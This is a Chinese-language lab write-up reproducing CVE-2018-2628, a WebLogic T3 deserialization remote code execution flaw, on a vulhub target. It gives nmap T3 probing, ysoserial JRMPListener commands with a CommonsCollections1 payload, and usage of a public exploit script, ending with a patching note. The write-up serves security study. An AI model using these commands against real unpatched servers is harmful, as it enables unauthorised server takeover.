WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现

漏洞概述:

在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

名词概念:

序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法

JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol),JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

影响版本:

Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3

环境搭建:

靶机:Ubuntu(192.168.168.133)
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
本地:win7(172.10.24.153)

端口探测:

搭建好后先查看一下T3服务是否开启:

nmap -A -v -p 7001,7002 192.168.168.133 --script=weblogic-t3-info

使用windows查看,只能看见weblogic服务开启:
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第1张图片
使用kali扫描,可见目标服务器开启了T3协议:
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第2张图片

复现过程:

1、开启开启监听服务JRMPListen
本地开启监听服务JRMPListen,利用ysoserial的JRMP对1099端口监听(ysoserial下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1009 CommonsCollections1 “touch /tmp/getshell”
在这里插入图片描述
2、exploit脚本攻击
利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553)

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的win7,监听端口上方1009

#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第3张图片
3、查看文件是否创建成功
使用docker ps查看docker名字:
在这里插入图片描述
进入docker:docker exec -ti cve20182628_weblogic_1 /bin/bash查看文件:ls -la /tmp
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现_第4张图片

漏洞修复:

T3协议漏洞加固的话可以打上官方最新的补丁。
参考连接:https://blog.csdn.net/csacs/article/details/87122472
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

你可能感兴趣的:(渗透测试)